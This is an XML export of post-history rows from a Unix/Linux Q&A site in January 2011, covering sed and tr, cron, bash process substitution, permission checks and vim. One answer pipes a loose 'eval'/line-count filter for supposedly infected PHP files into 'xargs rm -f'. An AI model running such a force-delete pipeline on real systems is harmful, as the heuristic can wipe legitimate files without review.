  <row Id="13192" PostHistoryTypeId="2" PostId="5851" RevisionGUID="1534871a-160b-4638-a203-63de62d51953" CreationDate="2011-01-14T13:48:26.593" UserId="3793" Text="I have a log file which contains a bunch of non visible control characters such as hex \u0003.&#xD;&#xA;&#xD;&#xA;I would like to replace this using something like SED, but can't get the first part of the regex to match:&#xD;&#xA;&#xD;&#xA;&gt; /s/^E/some_string&#xD;&#xA;&#xD;&#xA;I am creating the ^E by pressing CTRL-V CTRL-0 CTRL-3 to create the special character, as read from the 'man ascii' page:&#xD;&#xA;&#xD;&#xA;&gt; 003   3     03    ETX&#xD;&#xA;&#xD;&#xA;However, nothing matches this control character.&#xD;&#xA;&#xD;&#xA;Any help appreciated!" />
  <row Id="13193" PostHistoryTypeId="1" PostId="5851" RevisionGUID="1534871a-160b-4638-a203-63de62d51953" CreationDate="2011-01-14T13:48:26.593" UserId="3793" Text="Processing control characters" />
  <row Id="13194" PostHistoryTypeId="3" PostId="5851" RevisionGUID="1534871a-160b-4638-a203-63de62d51953" CreationDate="2011-01-14T13:48:26.593" UserId="3793" Text="élinuxàésedàéregexà" />
  <row Id="13195" PostHistoryTypeId="25" PostId="5850" RevisionGUID="b5b97ecc-bbc3-4f99-9661-a81a423f3d34" CreationDate="2011-01-14T13:55:35.060" Comment="http://twitter.com/#!/StackUnix/status/25913921797881856" />
  <row Id="13196" PostHistoryTypeId="2" PostId="5852" RevisionGUID="8e2f3cce-3a69-4f85-b261-9ec3823d72f6" CreationDate="2011-01-14T14:37:18.393" UserId="3798" Text="Hey guys, im trying to run a script using cron, im using a crontab created by the user ashtanga, in the crontab i have&#xD;&#xA;&#xD;&#xA;    */5 * * * *  /home/custom-django-projects/SiteMonitor/sender.py&#xD;&#xA;&#xD;&#xA;in top of the script i have:&#xD;&#xA;&#xD;&#xA;    #!/usr/local/bin/python&#xD;&#xA;&#xD;&#xA;and the user ashtanga does have executable permission to the file, but cron is not running the script, its giving me the error:&#xD;&#xA;&#xD;&#xA;    /bin/sh: /home/custom-django-projects/SiteMonitor/sender.py: No such file or directory&#xD;&#xA;&#xD;&#xA;so my question is, how can i get cron to run the script ?" />
  <row Id="13197" PostHistoryTypeId="1" PostId="5852" RevisionGUID="8e2f3cce-3a69-4f85-b261-9ec3823d72f6" CreationDate="2011-01-14T14:37:18.393" UserId="3798" Text="using cron to run script" />
  <row Id="13198" PostHistoryTypeId="3" PostId="5852" RevisionGUID="8e2f3cce-3a69-4f85-b261-9ec3823d72f6" CreationDate="2011-01-14T14:37:18.393" UserId="3798" Text="élinuxàérhelàépythonàécronà" />
  <row Id="13199" PostHistoryTypeId="17" PostId="5854" RevisionGUID="03553d79-307f-4c9d-9bf8-783b7e5af453" CreationDate="2011-01-14T14:50:11.223" UserId="-1" Comment="from http://stackoverflow.com/questions/4689281/redhat-enterprise-linux-4-7-ping-problem/4689575#4689575" Text="" />
  <row Id="13200" PostHistoryTypeId="2" PostId="5854" RevisionGUID="1471737c-d83a-41e3-bab2-3c2665c78e2f" CreationDate="2011-01-14T09:21:46.313" UserId="3302" Text="There is a related thread [here][1] and a possible solution [here][2].&#xD;&#xA;&#xD;&#xA;[1]: http://linux.derkeiler.com/Mailing-Lists/Kernel/2004-10/8261.html&#xD;&#xA;&#xD;&#xA;[2]: http://www.gnulinuxclub.org/index.php?option=com_content&amp;task=view&amp;id=333&amp;Itemid=49&#xD;&#xA;&#xD;&#xA;Basically this happens because the interface &quot;neighbour&quot; table fills up when too many different addresses connect to your server within a short interval. Increasing the table size and using more aggressive garbage collection for its contents resolves this issue." />
  <row Id="13201" PostHistoryTypeId="2" PostId="5853" RevisionGUID="a66bdd37-76dd-494a-9015-82d7104c0f81" CreationDate="2011-01-14T08:40:54.180" UserDisplayName="Sutharsan" Text="When I try to ping some of the IP addresses I get &quot;connect: No buffer space is available&quot; error. Also when I check /var/log/messages, there are some errors like as following&#xD;&#xA;&#xD;&#xA;    printk: 99 messages overflow&#xD;&#xA;    kernel: Neighbour table overflow&#xD;&#xA;&#xD;&#xA;do you have any ideas about this problem?&#xD;&#xA;" />
  <row Id="13202" PostHistoryTypeId="1" PostId="5853" RevisionGUID="a66bdd37-76dd-494a-9015-82d7104c0f81" CreationDate="2011-01-14T08:40:54.180" UserDisplayName="Sutharsan" Text="Redhat Enterprise Linux 4.7 - Ping problem" />
  <row Id="13203" PostHistoryTypeId="3" PostId="5853" RevisionGUID="a66bdd37-76dd-494a-9015-82d7104c0f81" CreationDate="2011-01-14T08:40:54.180" UserDisplayName="Sutharsan" Text="élinuxàéproblemàéredhatàépingà" />
  <row Id="13204" PostHistoryTypeId="17" PostId="5853" RevisionGUID="c7a7f15a-e75a-4c0f-9817-c73e653e8b5c" CreationDate="2011-01-14T14:50:11.223" UserId="-1" Comment="from http://stackoverflow.com/questions/4689281/redhat-enterprise-linux-4-7-ping-problem" Text="" />
  <row Id="13205" PostHistoryTypeId="2" PostId="5855" RevisionGUID="0afcde28-f80d-4583-8d6b-9c1ca0b0517e" CreationDate="2011-01-14T15:41:31.920" UserId="250" Text="Looking at the [link][1] you are pointing to, I find:&#xD;&#xA;&#xD;&#xA;&gt; &quot;Most users of external modems or&#xD;&#xA;&gt; those behind routers should consult&#xD;&#xA;&gt; the [Configuring Network][2] article&#xD;&#xA;&gt; instead.&quot;&#xD;&#xA;&#xD;&#xA;Have you tried that?&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.archlinux.org/index.php/Internet_Access&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/Configuring_Network" />
  <row Id="13206" PostHistoryTypeId="2" PostId="5856" RevisionGUID="ff3ce720-7274-4bab-b09b-89f30592bc3a" CreationDate="2011-01-14T15:49:37.347" UserId="3646" Text="This perl one-liner will do the job - beware, it will modify the file: &#xD;&#xA;&#xD;&#xA;    perl -i -pe 's#\x{0003}#some_string#g' /path/to/log/file&#xD;&#xA;&#xD;&#xA;If you want to replace a number of characters with character codes between a specified range: &#xD;&#xA;&#xD;&#xA;    echo {A..Z} | perl -i -pe 's#[\x{0040}-\x{0047}]#P#g'&#xD;&#xA;    P P P P P P P H I J K L M N O P Q R S T U V W X Y Z &#xD;&#xA;&#xD;&#xA; (*echo {A..Z}* produces a string of alphabetic characters in bash)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13207" PostHistoryTypeId="2" PostId="5857" RevisionGUID="b66026d6-3c4d-4a6a-9b47-da90e48d26d1" CreationDate="2011-01-14T15:53:59.847" UserId="872" Text="The user `ashtanga` doesn't have access to `/home/custom-django-projects/SiteMonitor/sender.py`. This looks like another user's home area? &#xD;&#xA;&#xD;&#xA;Try running the script as `ashtanga`. It's always a good first step, before you add anything to cron." />
  <row Id="13208" PostHistoryTypeId="2" PostId="5858" RevisionGUID="0ff44ede-28dc-4495-b13d-be09a79c9f55" CreationDate="2011-01-14T16:11:56.163" UserId="872" Text="You can also use the `tr` command. For example:&#xD;&#xA;&#xD;&#xA;To delete the control character:&#xD;&#xA;&#xD;&#xA;    tr -d '\033' &lt; file&#xD;&#xA;&#xD;&#xA;To replace the control character with another:&#xD;&#xA;&#xD;&#xA;    tr '\033' 'x' &lt; file&#xD;&#xA;&#xD;&#xA;If you are not sure what the value of the control character is, perform an octal dump and it will print it out:&#xD;&#xA;&#xD;&#xA;    $ cat file&#xD;&#xA;    hello&#xD;&#xA;    ^[&#xD;&#xA;    world&#xD;&#xA;    &#xD;&#xA;    $ od -b file    &#xD;&#xA;    0000000 150 145 154 154 157 012 033 012 167 157 162 154 144 012&#xD;&#xA;    0000016&#xD;&#xA;&#xD;&#xA;So the value of control character `^[` is `\033`." />
  <row Id="13209" PostHistoryTypeId="6" PostId="5771" RevisionGUID="3d37c27b-ef55-4722-8915-ee9693d400e0" CreationDate="2011-01-14T16:22:38.420" UserId="1207" Comment="edited tags" Text="édebianàésoftwareörecàémailà" />
  <row Id="13210" PostHistoryTypeId="12" PostId="5857" RevisionGUID="21e637f3-ccb6-454b-9759-c3d4ac881fd9" CreationDate="2011-01-14T16:26:41.973" UserId="872" Text="[{&quot;Id&quot;:872,&quot;DisplayName&quot;:&quot;dogbane&quot;}]" />
  <row Id="13211" PostHistoryTypeId="13" PostId="5857" RevisionGUID="0ee5b7ca-2675-49b8-91ca-109b9714f65b" CreationDate="2011-01-14T16:27:47.683" UserId="872" Text="[{&quot;Id&quot;:872,&quot;DisplayName&quot;:&quot;dogbane&quot;}]" />
  <row Id="13212" PostHistoryTypeId="2" PostId="5859" RevisionGUID="5bfba205-7b8d-4b23-b7a3-ce938ccfa2dc" CreationDate="2011-01-14T16:31:54.930" UserId="3804" Text="The user does have permission as the permission is set to 755&#xD;&#xA;The problem is that the user doesn't know of the environment variables needed.&#xD;&#xA;Try using bash instead and see if it picks them up then. Otherwise, set them up manually&#xD;&#xA;&#xD;&#xA;Start troubleshooting by running the script using the /bin/sh shell. You should get the same error then.&#xD;&#xA;&#xD;&#xA;L&lt;br&gt;&#xD;&#xA;www.saffie.ca" />
  <row Id="13213" PostHistoryTypeId="5" PostId="5857" RevisionGUID="6c785631-786b-4d14-9d53-a27f61ca2686" CreationDate="2011-01-14T16:34:51.597" UserId="872" Comment="added 221 characters in body" Text="The user `ashtanga` doesn't have access to `/home/custom-django-projects/SiteMonitor/sender.py`. This looks like another user's home area? &#xD;&#xA;&#xD;&#xA;Try running the script as `ashtanga`. It's always a good first step, before you add anything to cron.&#xD;&#xA;&#xD;&#xA;It might be to do with your cron environment. Take a look at this [Cron FAQ: It works from the command line but not in crontab][1]&#xD;&#xA;&#xD;&#xA;[1]: http://www.unix.com/answers-frequently-asked-questions/13527-cron-crontab.html" />
  <row Id="13214" PostHistoryTypeId="2" PostId="5860" RevisionGUID="b3aa4a88-b479-452b-a246-188b0062ab29" CreationDate="2011-01-14T16:39:59.423" UserId="29" Text="There's a command, I think it comes with apache, or is somehow related to it, that checks permissions, all the way down. So if I have `/home/foo/bar/baz` it will tell me what the permissions are for `baz`, `bar`, `foo`, and `home`. Does anyone know what this command is? or another way of doing this?" />
  <row Id="13215" PostHistoryTypeId="1" PostId="5860" RevisionGUID="b3aa4a88-b479-452b-a246-188b0062ab29" CreationDate="2011-01-14T16:39:59.423" UserId="29" Text="How do I recursively check permissions?" />
  <row Id="13216" PostHistoryTypeId="3" PostId="5860" RevisionGUID="b3aa4a88-b479-452b-a246-188b0062ab29" CreationDate="2011-01-14T16:39:59.423" UserId="29" Text="écommandölineàépermissionsà" />
  <row Id="13218" PostHistoryTypeId="5" PostId="5860" RevisionGUID="8fd169d1-c76f-478b-9f80-e5cba83c28bc" CreationDate="2011-01-14T16:50:42.210" UserId="29" Comment="change title to try to convey this isn't normal recursion" Text="There's a command, I think it comes with apache, or is somehow related to it, that checks permissions, all the way down. So if I have `/home/foo/bar/baz` it will tell me what the permissions are for `baz`, `bar`, `foo`, and `home`. Does anyone know what this command is? or another way of doing this? the command basically starts at the argument, and works it's way up to `/` letting you know what the permissions are along the way so you can see if you have a permission problem." />
  <row Id="13220" PostHistoryTypeId="4" PostId="5860" RevisionGUID="8fd169d1-c76f-478b-9f80-e5cba83c28bc" CreationDate="2011-01-14T16:50:42.210" UserId="29" Comment="change title to try to convey this isn't normal recursion" Text="How do I recursively check permissions in reverse?" />
  <row Id="13221" PostHistoryTypeId="25" PostId="5860" RevisionGUID="fb00e8da-c0e7-4cbd-8f00-a1f5f8182c7d" CreationDate="2011-01-14T16:55:34.517" Comment="http://twitter.com/#!/StackUnix/status/25959217592541184" />
  <row Id="13222" PostHistoryTypeId="2" PostId="5862" RevisionGUID="b44dc21a-43c4-468d-95a3-ba0d15d2efe1" CreationDate="2011-01-14T17:06:07.040" UserId="872" Text="I'm not aware of any commands, but it is quite easy to write a script:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh    &#xD;&#xA;    ARG=$1&#xD;&#xA;    while [[ &quot;$ARG&quot; != &quot;.&quot; &amp;&amp; &quot;$ARG&quot; != &quot;/&quot; ]]&#xD;&#xA;    do&#xD;&#xA;            ls -ld $ARG&#xD;&#xA;            ARG=`dirname $ARG`      &#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;&#xD;&#xA;    $ perms.sh /tmp/1/2/3/hello.txt&#xD;&#xA;    &#xD;&#xA;    -rw-rw-r--    1 user    group          0 Jan 14 16:59 /tmp/1/2/3/hello.txt&#xD;&#xA;    drwxrwxr-x    2 user    group       4096 Jan 14 16:59 /tmp/1/2/3&#xD;&#xA;    drwxrwxr-x    3 user    group       4096 Jan 14 16:43 /tmp/1/2&#xD;&#xA;    drwxrwxr-x    3 user    group       4096 Jan 14 16:43 /tmp/1&#xD;&#xA;    drwxrwxrwt   12 root     root       4096 Jan 14 17:02 /tmp&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13223" PostHistoryTypeId="2" PostId="5863" RevisionGUID="4f9d38f4-91d5-43e9-8e68-b20de9678b8c" CreationDate="2011-01-14T17:22:10.377" UserId="3808" Text="Hi all,&#xD;&#xA;&#xD;&#xA;I find myself doing the following almost every day&#xD;&#xA;&#xD;&#xA;run a find (find -name somefile.txt)&#xD;&#xA;and doing a vim on the result&#xD;&#xA;&#xD;&#xA;The problem is I have to copy paste the result of the find into the vim command.  Is there any way to avoid having to do this.  I have experimented a bit (find -name somefile.txt | vim) but haven't found anything that works&#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="13224" PostHistoryTypeId="1" PostId="5863" RevisionGUID="4f9d38f4-91d5-43e9-8e68-b20de9678b8c" CreationDate="2011-01-14T17:22:10.377" UserId="3808" Text="pipe the result of a find into vim" />
  <row Id="13225" PostHistoryTypeId="3" PostId="5863" RevisionGUID="4f9d38f4-91d5-43e9-8e68-b20de9678b8c" CreationDate="2011-01-14T17:22:10.377" UserId="3808" Text="élinuxàébashàévimàéfindà" />
  <row Id="13226" PostHistoryTypeId="2" PostId="5864" RevisionGUID="37743167-714b-4b4c-bab7-959b683d1e5f" CreationDate="2011-01-14T17:25:32.647" UserId="3646" Text="How about a recursive bash function for a fun solution:&#xD;&#xA;&#xD;&#xA;    [bash#] function uptree { ( \ls -ld $PWD; [ $PWD == '/' ] &amp;&amp; return; cd ..; uptree ) | column -t ; } &#xD;&#xA;&#xD;&#xA;    [bash#] pwd&#xD;&#xA;    /home/frielp/bin/dev&#xD;&#xA;&#xD;&#xA;    [bash#] uptree&#xD;&#xA;    drwxrwxr-x.  2   frielp  frielp  4096  Dec  14  14:50  /home/frielp/bin/dev&#xD;&#xA;    drwxr-xr-x.  15  frielp  frielp  4096  Aug  23  10:48  /home/frielp/bin&#xD;&#xA;    drwxr-xr-x.  60  frielp  frielp  4096  Jan  14  16:48  /home/frielp&#xD;&#xA;    drwxr-xr-x.  4   root    root    4096  Dec  1   09:14  /home&#xD;&#xA;    dr-xr-xr-x.  23  root    root    4096  Jan  14  08:18  /&#xD;&#xA;&#xD;&#xA;    [bash#] pwd&#xD;&#xA;    /home/frielp/bin/dev&#xD;&#xA;    [bash#] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13227" PostHistoryTypeId="2" PostId="5865" RevisionGUID="9d5aed13-daf4-4209-b7cc-3a0159fe3d57" CreationDate="2011-01-14T17:27:38.870" UserId="872" Text="You can use command substitution:&#xD;&#xA;&#xD;&#xA;    vim $(find -name somefile.txt)&#xD;&#xA;&#xD;&#xA;or &#xD;&#xA;&#xD;&#xA;    find -name somefile.txt -exec vim {} \;" />
  <row Id="13229" PostHistoryTypeId="2" PostId="5867" RevisionGUID="a70134be-9564-4130-9bbd-cc5167cd02a4" CreationDate="2011-01-14T17:28:21.730" UserId="2832" Text="    find -name somefile.txt | vim -&#xD;&#xA;&#xD;&#xA;Most of the commands can take `-`&#xD;&#xA;&#xD;&#xA; as a file name which means stdin." />
  <row Id="13231" PostHistoryTypeId="2" PostId="5868" RevisionGUID="31c1709e-58d8-435c-a116-4797c0d185fe" CreationDate="2011-01-14T17:34:24.937" UserId="3557" Text="Black cover?  You sure you don't mean the [Unix and Linux System Administrators Handbook][1]?  Its pretty much the Unix bible.  Not sure if it has that example you are speaking of though.  Its been a long time since I opened that book.&#xD;&#xA;&#xD;&#xA;Edit: Just a note, the cover has changed slightly over the years.  It used to be purple if I remember right.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.com/UNIX-Linux-System-Administration-Handbook/dp/0131480057/ref=sr_1_3?ie=UTF8&amp;qid=1295026256&amp;sr=8-3" />
  <row Id="13232" PostHistoryTypeId="2" PostId="5869" RevisionGUID="07b9305d-9fb8-4eef-9ab4-a89dcf2d2af0" CreationDate="2011-01-14T17:40:55.450" UserId="1209" Text="I want to loop over the output of a command without creating a sub-shell or using a temporary file.&#xD;&#xA;&#xD;&#xA;The initial version of of my script looked like this, but this doesn't work since it creates a subshell, and the `exit` command terminates the subshell instead of the main script which is required.  It is part of a much larger script to configure policy routing, and it is halt the execution if it detects a condition that will cause routing to fail.&#xD;&#xA;&#xD;&#xA;    sysctl -a 2&gt;/dev/null | grep '\.rp_filter' | while read -r -a RPSTAT ; do&#xD;&#xA;    &#xD;&#xA;      if [[ &quot;0&quot; != &quot;${RPSTAT[2]}&quot; ]] ; then&#xD;&#xA;        echo &gt;&amp;2 &quot;RP Filter must be disabled on all interfaces!&quot;&#xD;&#xA;        echo &gt;&amp;2 &quot;The RP filter feature is incompatible with policy routing&quot;&#xD;&#xA;        exit 1&#xD;&#xA;      fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;So one of the suggested alternatives is to use a command like this to avoid the subshell.&#xD;&#xA;&#xD;&#xA;    while read BLAH ; do echo $BLAH; done &lt;/root/regularfile&#xD;&#xA;&#xD;&#xA;So it seems to me that I should also be able use a command like this to avoid the subshell and still get the output from the program I want.&#xD;&#xA;&#xD;&#xA;    while read BLAH ; do echo $BLAH; done &lt;(sysctl -a 2&gt;/dev/null | grep '\.rp_filter')&#xD;&#xA;&#xD;&#xA;Unfortunately, using that command results in this error.&#xD;&#xA;&#xD;&#xA;    -bash: syntax error near unexpected token `&lt;(sysct ...&#xD;&#xA;&#xD;&#xA;I get really confused since this does work.&#xD;&#xA;&#xD;&#xA;    cat &lt;(sysctl -a 2&gt;/dev/null | grep '\.rp_filter')&#xD;&#xA;&#xD;&#xA;I could save the output of that command to a temporary file, and use redirect the on the temporary file, but I wanted to avoid doing that.&#xD;&#xA;&#xD;&#xA;So why is the redirection giving me an error, and do I have any options other then creating a temporary file?" />
  <row Id="13233" PostHistoryTypeId="1" PostId="5869" RevisionGUID="07b9305d-9fb8-4eef-9ab4-a89dcf2d2af0" CreationDate="2011-01-14T17:40:55.450" UserId="1209" Text="Loop of output of a command in bash without a subshell" />
  <row Id="13234" PostHistoryTypeId="3" PostId="5869" RevisionGUID="07b9305d-9fb8-4eef-9ab4-a89dcf2d2af0" CreationDate="2011-01-14T17:40:55.450" UserId="1209" Text="ébashàéscriptingà" />
  <row Id="13235" PostHistoryTypeId="2" PostId="5870" RevisionGUID="6c348ef5-50ad-4a26-b655-15d716b63e37" CreationDate="2011-01-14T17:50:12.870" UserId="872" Text="You missed a `&lt;`. Should be:&#xD;&#xA;&#xD;&#xA;    while read BLAH ; do echo $BLAH; done &lt; &lt;(sysctl -a 2&gt;/dev/null | grep '\.rp_filter')&#xD;&#xA;&#xD;&#xA;Think of `&lt;(sysctl -a 2&gt;/dev/null | grep '\.rp_filter')` being a file.&#xD;&#xA;" />
  <row Id="13236" PostHistoryTypeId="5" PostId="5863" RevisionGUID="35580c04-3bf7-436b-b5cf-ab516db6127b" CreationDate="2011-01-14T18:01:32.897" UserId="1207" Comment="edited body" Text="I find myself doing the following almost every day&#xD;&#xA;&#xD;&#xA;1. running a find (`find -name somefile.txt`)&#xD;&#xA;2. opening the result in `vim` &#xD;&#xA;&#xD;&#xA;The problem is I have to copy paste the result of the find into the vim command.  Is there any way to avoid having to do this.  I have experimented a bit (find -name somefile.txt | vim) but haven't found anything that works&#xD;&#xA;&#xD;&#xA;Thanks in advance" />
  <row Id="13237" PostHistoryTypeId="2" PostId="5871" RevisionGUID="7504af28-a8b4-4157-8f88-82996edd50b0" CreationDate="2011-01-14T18:02:50.310" UserId="2832" Text="Use bindfs. In short it adds more owners to the same folder. It gives you more flexibility and its simple. &#xD;&#xA;[http://ubuntuforums.org/showthread.php?t=1460472][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ubuntuforums.org/showthread.php?t=1460472" />
  <row Id="13238" PostHistoryTypeId="4" PostId="5869" RevisionGUID="f721eebc-369f-4837-8a55-a48208fa019a" CreationDate="2011-01-14T18:12:27.087" UserId="2180" Comment="Modified title to more accurately reflect the question." Text="Iterate over the output of a command in bash without a subshell" />
  <row Id="13239" PostHistoryTypeId="4" PostId="5863" RevisionGUID="9f04cd21-12e0-40df-8223-a0b4fe85e7bd" CreationDate="2011-01-14T18:14:53.640" UserId="2180" Comment="edited title" Text="Open a file given by the result of a command in vim" />
  <row Id="13240" PostHistoryTypeId="2" PostId="5872" RevisionGUID="28b63d4a-4834-404e-94bc-e192ebdfdce5" CreationDate="2011-01-14T18:23:31.183" UserId="2180" Text="I have just learned of Gentoo's [sys-devel/crossdev][1] package. This is a package that is useful for creating a cross-compiling toolchain.&#xD;&#xA;&#xD;&#xA;Are there any other such packages out there on other distributions?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.gentoo-wiki.com/wiki/Crossdev" />
  <row Id="13241" PostHistoryTypeId="1" PostId="5872" RevisionGUID="28b63d4a-4834-404e-94bc-e192ebdfdce5" CreationDate="2011-01-14T18:23:31.183" UserId="2180" Text="Which distribution-maintained cross-compile toolchain packages exist?" />
  <row Id="13242" PostHistoryTypeId="3" PostId="5872" RevisionGUID="28b63d4a-4834-404e-94bc-e192ebdfdce5" CreationDate="2011-01-14T18:23:31.183" UserId="2180" Text="éembeddedàécrossöcompilationàécompileràétoolchainà" />
  <row Id="13243" PostHistoryTypeId="2" PostId="5873" RevisionGUID="4c8aa4ea-d242-4603-9f2e-8676c91fedb1" CreationDate="2011-01-14T18:44:34.473" UserId="3812" Text="I have this command chain:&#xD;&#xA;&#xD;&#xA;    find . -print | grep php | xargs grep 'eval' -sl | xargs wc -l | grep ' [1-2][0-9] '&#xD;&#xA;&#xD;&#xA;This provide me this output:&#xD;&#xA;&#xD;&#xA;     14 ./includes/js/calendar/lang/vgju.php&#xD;&#xA;     18 ./includes/phpInputFilter/default.php&#xD;&#xA;     14 ./includes/Archive/eula.php&#xD;&#xA;     18 ./media/system/js/json.php&#xD;&#xA;&#xD;&#xA;This files are infected php files and I would like to remove it with my chain.&#xD;&#xA;How can I do it?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13244" PostHistoryTypeId="1" PostId="5873" RevisionGUID="4c8aa4ea-d242-4603-9f2e-8676c91fedb1" CreationDate="2011-01-14T18:44:34.473" UserId="3812" Text="Remove files, which provided by pipe" />
  <row Id="13245" PostHistoryTypeId="3" PostId="5873" RevisionGUID="4c8aa4ea-d242-4603-9f2e-8676c91fedb1" CreationDate="2011-01-14T18:44:34.473" UserId="3812" Text="élinuxàédebianà" />
  <row Id="13246" PostHistoryTypeId="2" PostId="5874" RevisionGUID="7a99986b-b683-4d28-a3d2-ec849a49aeb9" CreationDate="2011-01-14T18:51:42.733" UserId="3804" Text="Although you can probably do this whole thing with find command only you can try appending |xargs rm -f to that command.&#xD;&#xA;&#xD;&#xA;Here's what it would look like&#xD;&#xA;&#xD;&#xA;find . -print | grep php | xargs grep 'eval' -sl | xargs wc -l | grep ' [1-2][0-9] ' |xargs rm -f&#xD;&#xA;&#xD;&#xA;L.&lt;br&gt;&#xD;&#xA;www.saffie.ca" />
  <row Id="13247" PostHistoryTypeId="4" PostId="5872" RevisionGUID="745b51cc-d813-45cd-aeb6-aa17379a465e" CreationDate="2011-01-14T19:04:27.063" UserId="2180" Comment="Modified title" Text="What distribution-maintained cross-compile toolchain packages exist?" />
  <row Id="13248" PostHistoryTypeId="2" PostId="5875" RevisionGUID="826d9e98-7ce0-43ad-aaff-6b25a0fe166e" CreationDate="2011-01-14T19:44:02.770" UserId="3815" Text="I have installed matlab recently  in /usr/matlab folder&#xD;&#xA;&#xD;&#xA;now what doo i do so that the application launcher is available in the applications on the top left of the taskbar?&#xD;&#xA;&#xD;&#xA;its just that every time i need to type its location in the terminal to open it" />
  <row Id="13249" PostHistoryTypeId="1" PostId="5875" RevisionGUID="826d9e98-7ce0-43ad-aaff-6b25a0fe166e" CreationDate="2011-01-14T19:44:02.770" UserId="3815" Text="Apllication destination" />
  <row Id="13250" PostHistoryTypeId="3" PostId="5875" RevisionGUID="826d9e98-7ce0-43ad-aaff-6b25a0fe166e" CreationDate="2011-01-14T19:44:02.770" UserId="3815" Text="éubuntuà" />
  <row Id="13251" PostHistoryTypeId="2" PostId="5876" RevisionGUID="413c69f9-d0fd-4a62-bcd9-59f61b3cb632" CreationDate="2011-01-14T19:46:22.603" UserId="3818" Text="Try this:&#xD;&#xA;&#xD;&#xA;1) start vim&#xD;&#xA;2) in vim use the following&#xD;&#xA;       :r!find /&lt;path&gt; -name 'expression'&#xD;&#xA;&#xD;&#xA;The results should appear in vim when the search is complete.&#xD;&#xA;&#xD;&#xA;Or&#xD;&#xA;&#xD;&#xA;Try:&#xD;&#xA;&#xD;&#xA;1) find /&lt;path&gt; -name &gt; results.txt&#xD;&#xA;2) vim results.txt " />
  <row Id="13252" PostHistoryTypeId="25" PostId="5863" RevisionGUID="2d40895d-cc73-44ae-b881-7bee522a82ae" CreationDate="2011-01-14T19:55:34.867" Comment="http://twitter.com/#!/StackUnix/status/26004517719908353" />
  <row Id="13253" PostHistoryTypeId="2" PostId="5877" RevisionGUID="975a5320-4e77-4eda-aa8f-d5118046dd97" CreationDate="2011-01-14T20:00:47.003" UserId="688" Text="It appears [systemd][1] is the hot new [init][2] system on the block, same as [Upstart][3] was a few years ago. Why would one use one and not the other?&#xD;&#xA;&#xD;&#xA;(*bonus points if you mention how each compares to other init systems*)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://freedesktop.org/wiki/Software/systemd&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Init&#xD;&#xA;  [3]: http://upstart.ubuntu.com/" />
  <row Id="13254" PostHistoryTypeId="1" PostId="5877" RevisionGUID="975a5320-4e77-4eda-aa8f-d5118046dd97" CreationDate="2011-01-14T20:00:47.003" UserId="688" Text="What are the pros/cons of Upstart and systemd?" />
  <row Id="13255" PostHistoryTypeId="3" PostId="5877" RevisionGUID="975a5320-4e77-4eda-aa8f-d5118046dd97" CreationDate="2011-01-14T20:00:47.003" UserId="688" Text="éinitàésystemdàéupstartà" />
  <row Id="13256" PostHistoryTypeId="5" PostId="5875" RevisionGUID="6647740d-ae32-4031-9088-20b46187485c" CreationDate="2011-01-14T20:08:29.127" UserId="73" Comment="deleted 119 characters in body; edited title" Text="I recently installed Matlab in `/usr/matlab`. What do I do to make it appear in the application launcher on the top left of the taskbar?&#xD;&#xA;" />
  <row Id="13257" PostHistoryTypeId="4" PostId="5875" RevisionGUID="6647740d-ae32-4031-9088-20b46187485c" CreationDate="2011-01-14T20:08:29.127" UserId="73" Comment="deleted 119 characters in body; edited title" Text="Add applications to launcher" />
  <row Id="13258" PostHistoryTypeId="2" PostId="5878" RevisionGUID="b495eb69-4445-41d7-b536-6923a75249ad" CreationDate="2011-01-14T20:08:57.270" UserId="3810" Text="You can always submit a ticket to cPanel support for help." />
  <row Id="13260" PostHistoryTypeId="2" PostId="5880" RevisionGUID="47abf2ae-687e-4559-ae79-1c396a54cf65" CreationDate="2011-01-14T20:21:38.133" UserId="3815" Text="this pretty much sums up everything:&#xD;&#xA;&#xD;&#xA;http://ubuntuforums.org/archive/index.php/t-1595983.html" />
  <row Id="13261" PostHistoryTypeId="2" PostId="5881" RevisionGUID="3a9205cb-ef45-47ec-b9a2-ff7cc5f790e1" CreationDate="2011-01-14T20:25:23.277" UserId="3820" Text="I'm having WLAN trouble on my dualbooting win/linux laptop - the connection on linux side has occasional trouble, and seems somewhat slow and chunky. I would try to fix this issue by fiddling with all sorts of router settings, or WLAN kernel modules backports, or whatever - but problem is, it's hard to know if the settings have had any effect, since the problem appears in only subjective feeling about connection speed. So I'd like to have some way of executing a measurement that would tell me if the problem was affected or not.&#xD;&#xA;&#xD;&#xA;So far I've just used `iwconfig` which returns normal data, and `ping -c 100 -i 0.2` on the router and some stabile website ip addresses, but the summary doesn't give me all that good data, only the occasional packet loss. One information that's missing from the summary is the count of packets with clearly deviating roundtrip time, since that's one of the symptoms I've noticed - most packets come back with a regular time, but some of them take a lot longer.&#xD;&#xA;&#xD;&#xA;**So what tools can I use to get some *actual, numerical data* on the quality of my internet connection?**&#xD;&#xA;&#xD;&#xA;(And just in case someone's wondering, yes, the problem *is* real and not just confirmation bias, as it sometimes appears bad enough to throw me off the WLAN connection. It's probably somehow related to [this Ubuntu bug][1] and/or [this Redhat bug][2])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/378156&#xD;&#xA;  [2]: https://bugzilla.redhat.com/show_bug.cgi?id=468967" />
  <row Id="13262" PostHistoryTypeId="1" PostId="5881" RevisionGUID="3a9205cb-ef45-47ec-b9a2-ff7cc5f790e1" CreationDate="2011-01-14T20:25:23.277" UserId="3820" Text="Measuring internet connection quality" />
  <row Id="13263" PostHistoryTypeId="3" PostId="5881" RevisionGUID="3a9205cb-ef45-47ec-b9a2-ff7cc5f790e1" CreationDate="2011-01-14T20:25:23.277" UserId="3820" Text="éutilitiesàéinternetàétroubleshootingà" />
